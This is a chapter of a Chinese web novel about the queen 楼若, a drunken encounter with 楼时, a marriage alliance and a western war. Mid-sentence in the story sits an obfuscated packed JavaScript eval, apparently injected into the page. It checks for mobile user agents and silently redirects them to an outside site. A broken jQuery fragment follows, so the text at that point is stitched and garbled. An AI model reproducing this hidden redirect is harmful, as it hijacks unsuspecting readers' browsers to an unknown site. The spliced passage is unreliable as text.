48. 似醉非醉

作品:《春与千树长

    两年后,深秋时节。


    兵权大部分收归于楼若和楼时,商贸和军队整顿成效卓著,楼国上下也是一幅欣欣向荣的景象。


    杜宛如诞下一子,但孩子的父亲,不是楼时。而楼时也不过问,只是叫她安心养着,二人心照不宣。


    满月宴上,府中上下都在为王嗣的诞生欢庆,楼若和枫崖也来到楼时府中。


    杜宛如含笑抱着孩子,孩子已经取好了名字,叫楼明。初为人母,她性子倒是稳重了不少。楼时站在她身侧,和宾客见礼致意。


    杜宛如抬眼见到二人,便要行礼。


    “女王陛下。”又是小声责问侍女,“怎么都没通禀一声?”


    楼若轻轻拉起她的手臂,“只当家宴便是,不必麻烦。”


    互相致意过后,在屋里落座。楼若不着痕迹地打量着枫崖的神情,见他时不时地望向杜宛如的方向,心中也有了答案。这些事,她亦不会插手。


    当初得知杜宛如有喜之时,她还莫名觉得哪里不对劲。那段时日,杜宛如总是紧张兮兮的,楼时又一直整肃军队待在军中。极为偶尔地回来,向她禀报声,便又匆匆赶回去了。


    也许,就是在今年二月初二青龙节。


    那天,楼若和枫崖端坐高台之上,楼时和杜宛如在下方坐着,之后依次是朝中大臣。


    祭礼过后的宴席,按例都要饮酒。也不知怎的,四人不觉间都有些喝得多了。楼若还能勉强维持清醒,宴席结束后便在侍女的搀扶下回了寝殿。


    喝了甜汤醒酒,楼若便叫侍女都退下了。又想到天色已晚,枫崖这段日子也算是平静,各个典礼操持得也是井井有条,处于合作伙伴之义,也该给他送碗醒酒汤。


    楼若的寝殿是乾宁宫,枫崖所在的是昭阳宫。因为他们都不习惯侍从太多,佳节之时宴席过后,会把侍从都各自遣回家去,一个不留。


    昭阳宫内一片安静,楼若悄然走到门前,却有一丝女子的声音泄漏出来,还带着些气音。她立刻退后一步,非礼勿听。


    这样也好,不至于平白耽误了他。于是,她捧出那碗甜汤,一饮而尽,干干净净。


    回到乾宁宫,楼若刚合上门转身,楼时一阵风似的出现在眼前,一手按在她头上方的门边,一手护在她脑后,怕她撞到门。


    “你去哪了?”质问中带着不满。


    楼若以为他早就回府了,“你怎么在这儿?”但见他这般眸色深沉,便知他这是醉了。


    “我去给你盛碗汤。”她拍了拍他的手臂走向侧边。


    “不许。”楼时不肯放她走,执拗地拽住了她的手臂。


    “行,那你和我一起过去。”楼若搀着他的手臂,摇晃着走到案几前坐下,盛了一碗递给他。


    然而楼时一偏头,把手背到身后不肯接,又转回头,微微张开了嘴。楼若失笑,便顺了他的意,用勺子一口一口地舀着汤,喂给他。楼时喝完汤,也不知是想到了什么,嘿嘿地笑了起来。


    楼若就这样看着他,有些意犹未尽之感。又有多久,她们没这样共处一室了。这温暖,总让人贪恋。


    “好了,我该送你回去了。”楼若拉着他起身,一手在背后环住他的肩侧,再拉过他的一侧手臂架在肩上。


    “去哪?我不走,我要和你在一起。”楼时突然发力挣脱,再一手揽肩,一手自她腰间横过,一个旋身便紧紧地倾身抱住了楼若,埋首于她肩颈一侧。


    那呼吸炙热滚烫,口中还在低低地叫着:“阿若。”


    楼若措手不及地僵立在原地,似是被这呼吸和呼唤声烫得缩了下肩膀。


    这细微的动作让他以为她要离开,便环抱得愈发用力,心跳的声音也愈发的清晰。


    “好,不走。”可是心不听她的话,跳得太快了。楼若说得断断续续的,“你、先放开。我们,坐下。”


    好不容易,楼时被安抚下来,慢慢地松开怀抱,顺着她的力道坐了下来,但视线一直紧盯着她,分毫不错,生怕一移开,人就不见了。


    坐下没多久,楼时忽然把双手放在她的脖颈上,低喃着:“凉快,舒服。”


    楼若正欲轻轻拿开他的手,他像是察觉到了她的意图,轻哼了一声,挑起一个若有若无的笑,手臂自她腰后一带一转。


    “楼时!”楼若的上半身仰躺在了案几上,眼看着楼若的头就要撞上,她微微闭了闭眼,等待着疼痛的来临,但却撞上了温暖宽厚的掌心。


    楼时俯下身来,环抱着她,这回他也还记得要护好她的头,不让她受伤。


    呼吸和视线交错,酒的味道和汤的甘甜弥漫开来,他们的距离在渐渐缩短,不知是谁先闭了眼,她的手不觉间揪住了他的衣衫,没再动作。


    “就当是我也醉了吧。”她觉得她的脑子的确不清醒了,像是成了一团浆糊,恍恍惚惚,如坠云雾。潸然间落下泪来,谁的手温热,拭去泪滴,捧着脸颊,拂过鬓角。


    忽的颈间感到一丝刺痛,她倏然睁开眼,推开了他,楼时顺势侧躺在了榻上,而楼若一手抚着颈侧,兀自平复着呼吸。


    月光自窗棂洒落,照亮了楼若的背影,角落里楼时睁着的眼睛,和他们各自握紧的掌心。


    楼若整理好仪容,没再回头,利落起身快步走了出去,关上了这扇门,去议事堂看文书了。


    合上这扇门,到此为止。


    次日清晨,楼若回到寝殿之时,楼时已经离开了。酒后醉梦终是空,楼若立在门间,望着空荡荡的寝殿,冷风吹过,不多时,酒气的醉和汤的甜便都散了。


    楼若上朝的时候,大臣们还在下面窃窃低语。


    “发生何事?”


    杜宛如的表弟杜嘉恒站出来,“女王陛下,是楼时殿下。”他低下头,暗中侧眼瞟了楼时一眼。


    “方才,楼时殿下说他昨日醉酒,回府的路上不知是被谁给打了。”底下不知是谁走漏了一声笑音。


    “好了。”


    楼若顺势看去,楼时两侧脸上,都明晃晃地印着还在泛红的巴掌印,脸都有些肿起来了,足见力道不小,下了狠手。


    “陛下赎罪,臣无状失仪了。”楼时垂首。


    “无妨,但饮酒应该适当。”


    “是。臣谨记于心。”


    昨夜的酒终该清醒,昨夜的事就此揭过。楼若心中感慨万千,他倒是仔细,还记得打自己的时候,换另一只手。


    此后,一切如常。


    第一场雪落的时候,楼染回来了,同花子安一起。她说,她要嫁给花子安,离开楼国,随他去西北军。


    “你想好了,决定了?”


    “这段日子,我与他朝夕相处,我认定他了。我知道,他曾经倾慕过王姐,但那都是过去了,我不在意。”


    二人正在园中说着,侍女说楼时和花子安一同过来了。花子安大步走来后,便一拜不起:“女王陛下,我与楼染殿下两心相知,两情相悦。今日,愿以西北万兵,求娶花染殿下。还望陛下成全!”


    “两情相悦。”楼若想,她那时真是天真啊,以为自己仗着父亲的宠爱,便能求得一心人。现如今,她婚事只是为了权柄,如果阿染可以,但愿她能够幸福。


    “好啊,兵马就不必了,我会为阿染准备嫁妆。明日我在朝堂上说一嘴,挑个好日子,你们去准备着吧。”


    二人牵着手,笑着一同离开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832325|165498||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。


    “杜嘉恒近日来,是不满足校尉之职,想做大将军?”楼若提起了杜嘉恒的反常。


    “是。”楼时顿了下,才道:“自从阿明出生,他似乎生出了些觊觎王位的心思。我已经派人盯着了。”


    “嗯。”


    楼时这边,说起了查到的一些线索,只是没有实据。当年楼国主的病,是一种毒,苗疆的毒。无色无味,无知无觉。


    那天宴席上,姚堇将军也在,她曾经吩咐一名侍女去做一味汤,单独盛给国主,只是那侍女不久后也病逝了。


    “姚堇的家乡在南郡,那里苗疆人很多。而那里的姚家,是苗疆颇有声望的大家族。”


    “花子安知情吗?”


    “看他方才的样子,不像是知情的样子。不然,同阿染的相处也不会那么自然。”望着飞雪,她想相信一次真情。


    “这回,这位姚将军也来了吗?”


    “没有。”


    “那还好,只是不知她所谋为何,总是不能安心。万事多小心些吧。”


    “阿若。”楼时说出了另一种可能,“你有没有想过,如果,他们骗你呢?”


    “想过。但婚事,我没有理由拒绝。


    我们的兵力,有一部分在抵御西阙的侵扰,此时如果南华再起战乱,夹击之下会很艰难。”楼国以西,是西阙国。两国交界处也常有纷争。“最差不过是这两方结盟,但结盟也是可以打破的。”


    “好。我明日便带人去西边战场。”


    “你也要去?”


    “我去,才显诚意。”楼时说完便要告退。


    “等等!”楼若忽然起身,在他面前站定,直直地盯了他一会儿,又左右踱步。


    “万一,这也是陷阱呢?西阙的国主夫人,也是南华嫁过去的。不行,你别去了。”


    “可我们不能什么都不做,只有先下手,才有可能。”


    “操练兵马备战,准备物资,提醒百姓注意生计,这不都是要做的?”楼若转开身,开始顾左右而言他。


    “阿若!”楼时转过楼若的身体,双手握住她的肩膀,同她对视。


    “我说了不行!”楼若睁着眼,坚决地拂开他的手臂,旋身大步回到殿中,背身关上了门。


    “有失女王风范啊。”她背靠着门,逐渐滑坐在地上,已是泪流满面。


    “如果有一天,没有国,也没有家了,我还希望,至少最后一刻,我能和你在一起的。这样,也不能够吗?”


    夜里,楼若忽然惊醒,她有种不好预感,她匆匆披衣整装,没让人跟着,翻身上马就朝着军营赶去。


    “吁。”


    楼若在大营门口勒马,披风猎猎作响。对面不远处,以楼时为首,后面有万人,皆是肃立于马背之上,身披铠甲,弯刀银枪。


    楼时遥遥地笑了,拱手道:“多谢女王陛下特来相送,此行隐秘,我等定当竭尽全力。”


    “好。楼国等着你们回来。”


    楼若看着他们自眼前经过,努力记住每一张面孔。马蹄声不断经过,队伍远去了。


    下雪了,今年的第一场雪,名为离别,名为号角。雪融泪,轻舞若飞,落谁脸颊,伤谁醉。


    婚典过后,楼染也随着花子安离开了。


    两个月后,西边的捷报传来,战争大胜,已与西阙国和谈。楼将军,就要回来了。


    大军凯旋而归的那天,也下了很大的雪。清晨,楼若便率一众臣子等在城门口,不多时,朝阳自远方的地平线升起,大军也在这一刻,策马奔腾归来。近了,更近了。


    尘沙飞扬,好似也闪着光。


    似醉非醉,轻柔易碎。